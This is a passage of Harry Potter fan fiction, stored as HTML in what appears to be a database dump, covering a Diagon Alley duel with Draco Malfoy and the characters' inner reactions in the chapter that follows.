congratulations, again. I&#8217;ll probably see\nyou at the Hogwarts Express.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">With a final wave good-bye, she said, &#8220;And next\ntime &#8211; the Snitch is <i>mine</i>, you hear me, Harry Potter?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry smiled and waved good-bye. They watched\nthe smaller girl fade into the crowd, and they stood silently for a few\nseconds, both deep in thought, neither aware that they were still holding\nhands.&nbsp; Suddenly, Harry took a deep\nbreath and said, as he exhaled slowly, &#8220;I&#8217;m glad that <i>that&#8217;s </i>over.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So am I,&#8221; Hermione said. She had noticed that\nHarry hadn&#8217;t blushed this time &#8211; she&#8217;d felt the tension drain from him as she\nheld his hand. They were smiling at each other in mutual understanding when\nGinny, with a small cough, brought them both back to the bustling sounds of\nDiagon Alley. They looked at her, and said the same thought that was in their\nminds, &#8220;I wonder how she learned &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">A barely suppressed giggle came from Ginny, who\ntold them, &#8220;I think the answer&#8217;s approaching &#8230; you&#8217;d better &#8230;&#8221; But whatever it\nwas that she was going to say was drowned out as Hermione&#8217;s dorm-mates,\nLavender Brown and Parvati Patil descended on the three, chattering away like\nmaddened budgies.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;My dear! We were so <i>thrilled</i> &#8230; we knew\nyou&#8217;d make it &#8230; when the letter came &#8230; what happened to your lips?&#8221; the two\ngirls said, while giving Hermione cheek-kisses and looking meaningfully at the\nstill-held hands of the two friends.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Letter?&#8221; Hermione asked, confused, but was\ninterrupted by Lavender&#8217;s &#8220;Oh, how <i>sweet</i>! But after what I <i>heard</i>\nhappen at the Leaky Cauldron &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Confused, Hermione glanced at Harry &#8211; and\ncaught the meaningful glance that Parvati and Lavender threw at their hands &#8211;\nstill clasped together, even though Cho had long gone, and the need for any\nemotional or physical support had passed. They freed their hands from each\nother, with a quietly whispered, &#8220;Tut-tut! I tried to <i>warn</i> you &#8230;&#8221; coming\nfrom Ginny. Hermione tried to center the discussion on her other concerns:\n&#8220;What <i>letter</i>, Parvati?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Parvati waved her hand airily, &#8220;Oh, really now,\nHermione! Didn&#8217;t you <i>read</i> that letter &#8230; Padma&#8217;s the Ravenclaw <i>prefect</i>\nalong with Terry &#8230; so, of course, when I saw your name there &#8230; I was so <i>thrilled</i>\n&#8230; I just had to tell <i>someone</i> &#8230; when I got to the Leaky Cauldron,\nLavender was already there so I just had to <i>share </i>the news &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Lavender was nodding her head eagerly, &#8220;Yes,\nyes &#8230; and what a <i>wonderful</i> entrance you made, Hermione! Falling into\nHarry&#8217;s arms like <i>that</i> &#8230; it was <i>sooo</i> romantic! I <i>must</i> try\nthat technique some time &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yes!&#8221;, Parvati squealed. &#8220;D&#8217;you think I can\nget Terry to do that for me, Hermione? Although he&#8217;s not as good-looking as\nHarry &#8230; (she batted her eyes at him) will <i>&nbsp;you</i> try to catch me if I <i>fall</i> out of the fireplace,\nHarry?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I&#8217;d rather try catching Hagrid,&#8221; Harry\nmuttered under his breath, which led to a sudden coughing attack on the part of\nGinny.&nbsp; The others, however, did not\nseem to notice, especially as the two other girls found a new topic to discuss\nwith their dorm-mate.&nbsp; &#8220;What <i>I</i>\ndon&#8217;t understand,&#8221; Lavender butted in, &#8220;is why <i>no one</i> was named as your\ncounterpart, Hermione &#8230; although we were all expecting <i>Harry</i> to be the\none, right Parvati?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>What</i>?&#8221; Hermione cried, surprised. She\nand Ginny glanced at Harry, who looked stupefied at the news. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh, come <i>on</i>, Hermione,&#8221; Parvati\ntwittered, &#8220;don&#8217;t <i>tell</i> me you were not <i>hoping</i> that <i>Harry</i>\nwouldn&#8217;t be your counterpart for Gryffindor!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Uhmm, no &#8230; not really &#8230; no,&#8221; Hermione mumbled.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>Really</i> now, Mione,&#8221; Lavender intoned.\nHarry gave her a sharp look, surprised that Hermione hadn&#8217;t reacted to that\nhated nickname &#8230; but then, they were <i>her</i> dorm-mates, weren&#8217;t they? He\nwas shocked, however, with Lavender&#8217;s next comment, &#8220;<i>Harry&#8217;s</i> grades are\nthe <i>best</i> among the Gryffindor boys &#8230; he&#8217;s gotten top marks in DADA,\nCharms, and Transfiguration &#8230; well, among the <i>boys</i> that is &#8230; no one can\nbeat <i>you</i>, Mione &#8230; even those snooty Ravenclaws &#8230; and <i>Divination</i>,\nof course &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I&#8217;m not so hot at Potions, Lavender,&#8221; Harry\nprotested, butting in on the twittering witches, only to be met by an airy,\n&#8220;Oh, who <i>cares</i> about Professor Snape, Harry? Besides, since <i>you</i>\nwere the Hogwarts champion, mean ol&#8217; Snape <i>had</i> to pass you &#8230; all things\nconsidered, <i>you</i> should be Hermione&#8217;s counterpart!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh.&#8221; Harry said. &#8220;But I <i>didn&#8217;t </i>&nbsp;get it, did I?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Lavender and Parvati twittered at that, eager\nto share their gossip. &#8220;Well &#8230; the school governors have to agree to the\nappointment, don&#8217;t they?&nbsp; We heard that\nLucius Malfoy has been doing everything he can to block <i>that</i> appointment\n&#8230; Draco didn&#8217;t make it, did he?&#8221; Hermione shook her head, no. &#8220;So I heard that\nMr. Malfoy was <i>blocking</i> you, Harry &#8230; if <i>Draco</i> can&#8217;t get it,\nneither should you.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Parvati&#8217;s voice dropped to a whisper, &#8220;My\nfather said that Mr. Malfoy tried to block <i>your</i> appointment too,\nHermione. Something about lowering the standards of the school by making <i>you</i>\na Prefect &#8230; although everyone laughed him off &#8230; you were too obviously the <i>only\n</i>choice.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh,&#8221; was the only response the two could\nsay.&nbsp; Parvati saw someone&nbsp; behind Hermione and, waving furiously,\ncalled out, &#8220;Terry! <i>Terry</i>!&#8221; Turning to them, she said, &#8220;I&#8217;ve got to go &#8230;\nI have to congratulate Terry &#8230; coming, Lavender? &nbsp;Congratulations again, Hermione &#8230; and Harry, we&#8217;ll be waiting for\nthe announcement!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The two left, leaving the three standing there,\ngaping at each other.&nbsp; They looked\naround for Mrs. Weasley, who was in conversation with another witch some\ndistance away, obviously not hearing what the school mates had discussed.&nbsp; As they started walking her way, a snide,\nall too familiar voice in a <i>faux-</i>falsetto voice said, &#8220;Oh, how <i>romantic!</i>&#8230;\nHarry Potter&#8217;s g<i>irlfriend</i> is a <i>Prefect</i>, is she? But the real\nquestion is &#8230; <i>why</i> isn&#8217;t she in <i>Bulgaria</i> with <i>Veek-tor</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The three spun around to see Draco Malfoy, with\nRita Skeeter beside him and his cronies Crabbe and Goyle to one side. Harry\ntensed; he suspected that Draco, Crabbe and Goyle were looking for a return\nbout after being hexed on the return trip from Hogwarts the previous school\nyear.&nbsp; Out of the corner of his eye, he\nnoticed that Hermione had paled and was shaking with fury.</p>\n\n<p class="MsoBodyTextFirstIndent">Rita Skeeter spoke up, &#8220;Care to give me a <i>quote</i>,\nMiss Granger? A little bird told me that the reason you had been <i>sent home</i>\nto England <i>early</i> because &#8230;&#8221; and she gave Hermione a vicious smile, &#8220;and\nI <i>quote</i>, &#8216;Victor Krum&#8217;s parents do <i>not</i> like their little prince\nconsorting with a <i>Muggle&#173;</i>.&#8217; How do you react to that, <i>Miss</i>\nGranger?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She had raised her voice as she spoke, making\nsure that people within hearing distance heard her. Hermione flushed, red spots\non her cheeks burning, as she said through gritted teeth, &#8220;No comment.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Is that <i>all</i> you can say, Miss Granger?\nHow about <i>you</i>, Mr. Potter? Is she <i>really</i> your <i>girlfriend</i>\n(Rita Skeeter added an inflection to her voice that made the word sound like an\ninsult) &#8230; or is she using you as a <i>substitute</i> because she&#8217;s been <i>rejected</i>\nby her Bulgarian boyfriend&#8217;s<i> family</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Through gritted teeth, Harry said, &#8220;Lay <i>off </i>her,<i>\n</i>Rita! As for <i>my</i> comment, you can have it in three words: <i>take a\nhike</i>!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry heard the noise in Diagon Alley dropping\n&#8230; glancing around, he could see that people were whispering to each other &#8230;\nmany pointing to him and Hermione as they stood frozen in their tracks.&nbsp; He grabbed Hermione&#8217;s arm and started to\nwalk away, Ginny beside him.&nbsp; He was\nstopped by Malfoy&#8217;s sneering voice, raising itself above the whispering crowd:\n&#8220;Oh, poor, <i>unfortunate</i> Harry Potter &#8230; coming second to a really <i>famous</i>\nQuidditch player!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry tried to turn around, but Hermione and\nGinny held tightly to him, keeping him walking away, when Draco called out,\n&#8220;What&#8217;s the matter, Potter? <i>Hiding behind your Mudblood girlfriend?</i>&#8221; </p>\n\n<p class="MsoBodyTextFirstIndent">That did it. Harry whirled around, hand\nreaching for his wand &#8230; and his eyes widened as he saw that Malfoy had <i>his</i>\nwand out and pointed at him &#8230; in that split-second, he realized that Malfoy had\nengineered the situation in order to hex him &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">As Draco shouted &#8220;<i>Stupefy!</i>&#8221;, Harry\npitched his body backwards, dragging Hermione and Ginny (who were still holding\non to him) down with him. The curse shot above them, missing the three by a\ngood two feet &#8230; Harry grabbed for his wand and pointed it at Draco, who was\nstanding still, shocked that his spell had missed &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry&#8217;s first instinct was to shout &#8220;<i>Stupefy!</i>&#8221;\nbut changed his mind and shouted, &#8220;<i>Expelliarmus!</i>&#8221; Draco was blasted\nbackwards as his&nbsp; wand shot up into the\nair. As if it was a well-rehearsed move, Hermione scrambled up and grabbed the\nwand, at the same time pointing her wand at Crabbe and Goyle, shouting in a\nshrill voice, &#8220;&#8220;<i>Go ahead! MAKE MY DAY!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione&#8217;s wand was pointed at the two when she\nheard, &#8220;<i>Stupefy!</i>&#8221; behind her. Acting on pure instinct, she dropped to\nthe ground just as the beam of red light flew over her and squarely hit Goyle\nin the chest, blasting him back. Twisting around, she saw Millicent Bullstrode\nand Pansy Parkinson, wands out and aiming at her &#8230; without thought, she twisted\nand pointed her wand at them, shouting &#8220;<i>Expelliarmus!</i>&#8221; &#8211; hearing Harry\nshouting the same spell &#8230; watching the two Slytherins being thrown back, wands\nflying, to be caught by Ginny, who now had her wand out &#8230; and then, Harry\nwhirled and pointed his wand at Crabbe and another Slytherin &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">The latter two froze, unwilling to test the mettle\nbehind those blazing green eyes.&nbsp; A\npalpable sheen of magical energy seemed to pulsate around Harry Potter; many of\nthose within a ten-foot radius of the conflict stepped back at the raw <i>power</i>\nemanating from him &#8230; Hermione slowly got to her feet, eyes sweeping around for\nany threats &#8230; she felt Ginny standing beside her, and the two girls slowly\nstepped backward to stand back-to-back with Harry &#8230; as they approached him, it\nseemed that the radius of energy had <i>doubled</i> &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">The silence that descended over Diagon Alley\nfelt like a physical force , weighing down the mood of the always-festive\nstreet.&nbsp; The fight that erupted had been\nso sudden &#8230; so <i>unexpected</i> &#8230; that none could react &#8230; Hermione could\nvaguely see three red-heads fighting their way through the crowd &#8230; Molly\nWeasley standing at some distance, gaping &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">She felt her back touch Harry &#8230; the physical\ncontact with her seemed to communicate an aura of protection and safety to\nHarry &#8230; eyes and bodies still alert, the three (including Ginny this time)\nslowly lowered their wands &#8211; and the oppressive silence that weighed down the\nstreet seemed to lift.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">People began breathing, slowly &#8230; movement\nstarted as people shook off their momentary trances &#8230; Hermione&#8217;s mind vaguely\nregistered various Gryffindors in different places (including Neville, Seamus\nand Dean Thomas) also lowering their wands, and was distantly thankful that\nthey hadn&#8217;t tried to intervene &#8230; she knew that they would have been in bigger\ntrouble if their friends had tried something &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">The silence was finally broken as a tall,\nelegantly-dressed witch with blonde hair started screaming, &#8220;<i>Arrest them &#8230;\narrest them!&nbsp; They </i>attacked<i> my\nhusband and son! Get them!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Surprised, Hermione spun around to look at\nwhoever was screaming for Harry to be arrested, and saw Narcissa Malfoy,\nDraco&#8217;s mother, on her knees beside her stunned husband. Hermione, Harry and\nGinny heard distant &#8216;pops&#8217; as wizards from the Ministry&#8217;s Law Enforcement Squad\nstarted apparating in, while Mrs. Malfoy continued to sob.</p>\n\n<p class="MsoBodyTextFirstIndent">An older witch with a most regal bearing,\nwearing a tall hat with a stuffed vulture on top stepped forward, saying in a\nvoice straight out of the Arctic Circle, &#8220;I don&#8217;t think so, Narcissa &#8230; too many\nwitnesses saw what happened &#8230; if there&#8217;s anyone to be arrested here, it should\nbe your <i>son</i>.&nbsp; Mr. Potter and his\nfriends were clearly acting in self-defense.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Mrs. Malfoy stared at the elder witch in\ndisbelief, and the latter (Hermione recognized her as Neville Longbottom&#8217;s\ngrandmother) stared her down. A Ministry wizard kneeled down beside her,\nexamining her husband.&nbsp; After a brief\nlook, the wizard pulled out his wand, pointed it at Mr. Malfoy and said, &#8220;<i>Ennervate!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The elder Malfoy woke up and tried to stand up,\ngrabbing for his wand at the same time.&nbsp;\nThe Ministry wizard, however, immediately grabbed his arm and held him\ndown.&nbsp; The elder Longbottom, her eyes\nglinting like diamonds, said in the same steely, icy voice: &#8220;There will be no\nmore of <i>that</i>, Mr. <i>Malfoy</i>! Your son tried hexing another wizard\nwhile his back was turned &#8230; something I expected from someone like you.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She looked around, spotting the now-revived\nSlytherins. Turning to Lucius Malfoy, she continued, &#8220;Apparently, they have\nforgotten the Hogwarts motto &#8211; &#8216;<i>never tickle a sleeping dragon</i>&#8217;! Now, I\nsuggest you get your poor excuse for a wizard and his <i>friends</i> and get\nout of here! They can do their shopping tomorrow, when these children (and she\npointed to the three) are not around.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Mr. Malfoy glared at her, but did not\nrespond.&nbsp; With a shrug of the shoulders,\nand a short, courtly bow, he turned away after shooting a venomous look at\nHarry and Hermione that would have Petrified a basilisk, and stalked out\nthrough a path that the crowd cleared for him.</p>\n\n<p class="MsoBodyTextFirstIndent">Draco looked at Harry with an equally vicious\nlook and turned to Hermione: &#8220;Give me back my wand, Mudblood.&#8221; Before Harry or\nHermione could react to this, Mrs. Longbottom&#8217;s wand was out and, with a\nmuttered spell, shot out yards of tape which wrapped themselves tightly around\nDraco Malfoy&#8217;s head. &#8220;That will keep your evil tongue in your mouth until you\nlearn to keep it civil! Now, <i>go!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Draco slunk away through the crowd, with\nMillicent Bulstrode and Pansy Parkinson on either side of him, and Crabbe and\nGoyle behind him -- people parting to let them pass. The elegantly dressed\nNarcissa Malfoy shot all of them a venomous look, and also turned away to\nleave.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Harry! Harry!&#8221; Mrs. Weasley&#8217;s voice came\nthrough the crowd which still surrounded them. Harry looked in that direction\nand started walking towards her, ushering his two companions in front of him,\nwhen a sarcastic voice was heard above the murmuring crowd: &#8220;Well, well, well &#8230;\nif I were you, <i>Miss Granger</i>, I would keep my eyes <u>constantly</u> on\nmy boyfriend.&nbsp; Apparently, <i>someone</i>\nis marking some territory of her own.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Surprised, Hermione looked at Harry &#8211; and saw\nGinny Weasley suddenly letting go of his arm, blushing deeply at the same\ntime.&nbsp; Ginny gave Rita Skeeter a look\nfilled with scorn and hatred, when Hermione placed a hand on her shoulder.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Miss Skeeter,&#8221; Hermione said in a soft, sweet\nvoice, &#8220;maybe you should keep <i>your</i> eyes on <i>your</i> job rather than\non my friends &#8230;&#8221; Surprised, Rita Skeeter looked at Hermione, and looked around\nto see reporters rushing for the Daily Prophet&#8217;s offices &#8230; apparently, they\nwere headed in to file a scoop before she could. </p>\n\n<p class="MsoBodyTextFirstIndent">She started shoving her way through the crowd\nbut was stopped by Hermione&#8217;s voice, &#8220;Why? Can&#8217;t <i>fly</i> to your desk, Miss\nSkeeter?&#8221; She glared at Hermione, and turned to go. </p>\n\n<p class="MsoBodyTextFirstIndent">Hermione turned to Harry and Ginny. &#8220;Shall we?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry, however, was thanking Mrs. Longbottom,\nwho accepted his gratitude with a haughty, but warm, nod of her head. With a\nsmall bow, he turned away with his two friends and started walking away. Mrs.\nLongbottom&#8217;s voice was heard, still steely-cold but oddly with a tinge of warmth\nunderneath it: &#8220;Mr. Potter!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry and his two friends stopped to look at\nher.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mr. Potter, it is obvious why my grandson\nadmires you &#8211; and why you are a Hogwarts Champion. You would do well as a\nPrefect for your House &#8230; the younger students will be needing someone to look\nup to and emulate.&#8221; She looked into his green eyes, and continued, &#8220;You are a\ntrue Gryffindor.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Turning to Ginny and Hermione, she said, &#8220;As\nare you two ladies. Miss Granger and Miss Weasley, am I right?&#8221; The two girls\nnodded. &#8220;I am very pleased to meet you three at last &#8230; my grandson has often\nspoken highly of you &#8230; Thank you.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The three looked around uncomfortably, unsure\nof what to do.&nbsp; In a burst of\ninspiration, Harry placed his arms around his two companions and, as he bowed\nhis head to the grand lady, his two companions curtsied to her. </p>\n\n<p class="MsoBodyTextFirstIndent">As they walked away, someone (was it Seamus?\nNeville? Cho?) started clapping &#8230; within seconds, there was an roar as the\ncrowd applauded the young wizard and his two witches.</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n\n\n\n\n\n'),
	(125, 6, '\n\n\n\n<p class="MsoTitle">Epiphanies &#8211; 05</p>\n\nChapter 5.&nbsp; Reactions and\nRecriminations\n\n<p class="MsoBodyTextFirstIndent">Time slowed.</p>\n\n<p class="MsoBodyTextFirstIndent">She could feel him trembling through the arm\nthat was around her waist &#8230; and felt fear coursing through her. Why should <i>he</i>\nbe afraid? she wondered. He was <i>Harry Potter</i>, for heaven&#8217;s sake! He was\nthe only wizard to have defeated You-Know-Who <i>three times</i> &#8230; he&#8217;d fought\na basilisk <i>and</i> that infernal Tom Riddle when he was <i>twelve</i> &#8230;\nfought back Dementors at thirteen (she could still remember herself shaking\nwhen <i>one</i> Dementor entered their compartment at the start of her second\nyear) &#8230; won the Tri-Wizard Tournament when he was fourteen &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">But she could feel him <i>shaking</i> &#8230; and she\ndidn&#8217;t know what to do.</p>\n\n<p class="MsoBodyTextFirstIndent">So she kept walking, placing one foot carefully\nin front of the other &#8230; looking down at her feet &#8211; and quietly berating herself\nfor her actions, or rather, <i>inaction</i> during the fight that erupted\naround her.&nbsp; She&#8217;d <i>frozen</i> the\nmoment she turned around and saw Malfoy with his wand out &#8230; stared in shock\nfrom where Harry had pulled her down, and couldn&#8217;t <i>move</i> as she watched\nHermione scramble and grab Malfoy&#8217;s wand &#8230; she couldn&#8217;t even shout a <i>warning</i>\nas she saw the two Slytherins hexing Hermione &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">She finally engaged her brain and <i>moved</i>\nwhen Harry Disarmed the two &#8230; scrambling for their wands, and pulling out her\nown (knowing at the same time that there was <i>nothing </i>&nbsp;she could do but wave it around &#8230;)&nbsp; and finally, standing side-by-side with\nHermione, trusting that the older girl would know what to do &#8230; and following&nbsp; her movements until they were back-to-back\nwith Harry &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And here she was &#8230; pale as a ghost, forcing her\nlegs to move and doing her best to force her fear and shaking <i>down</i> &#8230; and\nfelt herself shivering again as the events of only minutes ago played and\nreplayed in her fevered brain &#8230; and then a tiny, taunting voice in her mind\nbroke through: &#8220;<i>Do <u>something</u>, Virginia Weasley! Don&#8217;t act like a\nninny! Do something!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Instinctively, her arm went up to wrap itself\naround Harry&#8217;s waist. Dimly, she thought she had to help him walk &#8230; to hold him\nup &#8230; knowing that he would have to show the world a brave face &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">And froze as her hand encountered <i>another</i>\narm already around Harry&#8217;s waist &#8230; and her mind registered the fact that Harry\nwas no longer shaking &#8230; heard him taking in a deep, calming breath that he let\nout in a whoosh &#8230; realized that his arm was no longer around her &#8230; and her pace\nfaltered, falling behind unnoticed, as that mocking voice resounded in her\nhead, &#8220;<i>Too late, Virginia Weasley, too late. As always, too late.</i>&#8221;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">He was <i>hurting</i> &#8230; it was so difficult to\nwalk <i>normally</i> when his knees were knocking, his whole body was\ntrembling, and his hands shook so much that he could barely hold his wand. He\nwanted nothing more at that moment than to fall on his knees and allow his body\nto <i>relax</i> &#8230; to shake, tremble and quiver all it wished &#8230; to simply let <i>go</i>\nfor a moment, until the adrenaline surge wore off and he could face the world\nagain.</p>\n\n<p class="MsoBodyTextFirstIndent">But he could not.</p>\n\n<p class="MsoBodyTextFirstIndent">He was Harry Potter, the Boy-Who-Lived, and he\nwould <i>not</i> show any weakness to the world.</p>\n\n<p class="MsoBodyTextFirstIndent">And so he <i>walked</i> &#8230; goose-stepping like a\nsoldier in those old films so that he could keep his legs straight, even as\nthey shook &#8230; arms around his companions, stiffened as he tried to keep them\nfrom quivering &#8230; chest hurting as he controlled his breathing, trying to force a\ncalmness that he didn&#8217;t feel &#8230; while his brain yammered in an unconscious echo\nof Neville Longbottom&#8217;s oft-repeated lament: </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>Why does it always have to be <u>me</u>?&#8221;</i></p>\n\n<p class="MsoBodyTextFirstIndent">He&#8217;d never wanted to be anything except a\nnormal boy with a loving family, but Voldemort had taken that away and he\nlanded with the Dursleys &#8230; his treatment at their hands was anything <i>but</i>\nnormal, such that <i>anything</i> was better than his life with the Dursleys --\nwhich was why he never gave a second thought when Hagrid fetched him from the\nHut-on-the-Rock four years ago &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">And even then, all that he ever wanted was to\nbe just an <i>ordinary</i>, &#8220;normal&#8221; wizard &#8211; or as normal as one can be in the\nmagical community.&nbsp; He had never\nbargained for this &#8230; he had never even <i>asked</i> <i>for</i> or <i>wanted </i>the\nfame that he found when he entered the wizarding world &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">Would he have climbed aboard the Hogwarts\nExpress four years ago if he had known that, before <i>that </i>year ended,\nhe&#8217;d be sticking his wand up a troll&#8217;s nose &#8230; that he&#8217;d be almost thrown off a\nhexed broomstick, or he&#8217;d be wandering the Enchanted Forest &#8230; that he&#8217;d be\nleading his two best friends into danger &#8230; that he would have to face Voldemort\n<i>alone </i>deep within the bowels of the castle? </p>\n\n<p class="MsoBodyTextFirstIndent">Would he have <i>willingly</i> climbed aboard\nthe Weasley&#8217;s Ford Anglia three years ago if he had known that Hermione would\nend up Petrified <i>for a month</i> &#8230; or that Ginny would end up unconscious in\nthe Chamber of Secrets while he battled a basilisk with only Fawkes and the\nSorting Hat as his companions?</p>\n\n<p class="MsoBodyTextFirstIndent">And the thought struck &#8230; would he have been\nthat <i>excited</i> to leave the Dursleys had he known all that he knew <i>now</i>\n&#8230; all that he had gone through for the past four years &#8211; but especially, what\nhappened only <i>this</i> year?&nbsp; Was\nleaving the Dursleys worth the <i>price</i> he&#8217;d paid almost every night since\nhe&#8217;d parted company with Hermione on Platform 9 and &#190; -- seeing Cedric Diggory\nlying spread-eagled beside him in the graveyard, gray eyes blank and devoid of\nall expression, mouth half-opened as if surprised &#8230; the horrific ritual he had\nbeen forced to witness and unwillingly participate in &#8230; that <i>unholy</i>\nsacrament that had ended with the revival of Voldemort &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Would he have thought life with the Dursleys to\nbe so totally <i>loathsome</i> if he had known that <i>he</i> would cause the\ndeath of Cedric &#8230; that his <i>blood</i> would resurrect Voldemort to full flesh\nand blood life &#8230; and that his high and mighty <i>nobility</i> would allow <i>Peter\nPettigrew</i> to escape &#8211; and eventually, become an instrument in both the\ndeath of Cedric and the revival of Voldemort?</p>\n\n<p class="MsoBodyTextFirstIndent">He&#8217;d escaped a cursed life with the Dursleys &#8230;\nbut at what price? What <i>price</i>?</p>\n\n<p class="MsoBodyTextFirstIndent">As the doubts, recriminations, and memories\nbreached the barriers that he had spent so much time building over the summer\nmonths, he again felt the pain, like a physical force, coursing through his\nbody -- and he closed his eyes to ward off the howl of despair that was\nbuilding in his lungs&nbsp; &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Her mind was spinning, confusing thoughts of\nwhat had just happened running rampant, her fear and trembling battling with\nher logical mind &#8230; and through it all, a single thought kept taunting her: &#8220;Of\nall the stupid, <i>inane</i>, mindless, <i>ridiculous</i> things to say &#8230; why\ndid I have to say <i>that</i>? Why? Why, oh why did I have to sound off like a\nsecond-rate <i>actor</i> in a B movie &#8230; It&#8217;s lucky no one heard me &#8230; I&#8217;ll be a\nlaughingstock! They&#8217;ll be laughing at me, Hermione Granger, till the day I die\n&#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She berated herself again as her mind replayed\nthe scene &#8230; grabbing Malfoy&#8217;s wand &#8230; pointing her wand at Crabbe and Goyle &#8230;\nthose stupid, <i>stupid</i>, <i><u>stupid</u></i> words coming out of her mouth\n&#8230; and through the chaos of thoughts in her raging mind, felt her friend&#8217;s arm\naround her waist &#8230; and she felt the shivers coursing through his body as\nreaction set in &#8230; and somehow sensed the <i>pain</i> he was going through &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Without a thought, without a moment&#8217;s hesitation,\nshe wrapped an arm around her friend and held him, tight. There was no need to\nlook at him to see the anguish in his eyes brought about by his doubts,\nuncertainties and insecurities &#8211; and the memory of the horrific events of the\npast months &#8230; she held him tighter, and felt him calming down &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">She&#8217;d felt this with him once before &#8230; riding\non Buckbeak as they flew to rescue Sirius &#8230; she could remember her fear as she\nsat behind Harry, grabbing him tightly around the waist &#8230; leaning her head\nagainst his back, eyes tightly closed, her voice, muttering, &#8220;<i>Oh no &#8230; I\ndon&#8217;t like this oh I really don&#8217;t like this</i>&#8221; &#8230; feeling his body trembling\nalso &#8230; and then, that indefinable moment when she felt a <i>calmness</i>\ndescending over him. In the next moment, she could feel that calmness and &#8211;\nyes, a sense of <i>security</i> --&nbsp;\nwashing over her &#8230; soothing her own fears &#8230; enabling her to do what she\nhad to do to help him free Sirius from the tower &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">A wave of affection for her friend ran through\nher &#8230; mentally she shook her head at the innate <i>innocence</i> of the boy.\nShe knew he would blame himself for what had happened &#8230; ignoring or <i>overlooking</i>\nthe fact that <i>Malfoy</i> started the fight, doubtless wanting a return match\nafter the hexing he and his cronies got on the train at the end of the school\nyear &#8230; or that <i>Skeeter</i> wanted to get back at her for imprisoning her\nAnimagus form for a month &#8211; and then <i>exposing</i> her to the Ministry!</p>\n\n<p class="MsoBodyTextFirstIndent">But that was the way he was.</p>\n\n<p class="MsoBodyTextFirstIndent">The magical community saw him as Harry Potter,\nthe Boy Who Lived, Vanquisher of He-Who-Must-Not-Be-Named, perhaps their best\nhope to defeat the horror that will soon be upon them.</p>\n\n<p class="MsoBodyTextFirstIndent">But for Hermione Granger, he was just Harry\nPotter &#8211; classmate, housemate, close friend and companion for the past four\nyears. She&#8217;d been with him through good times and bad &#8211; beaming with pride 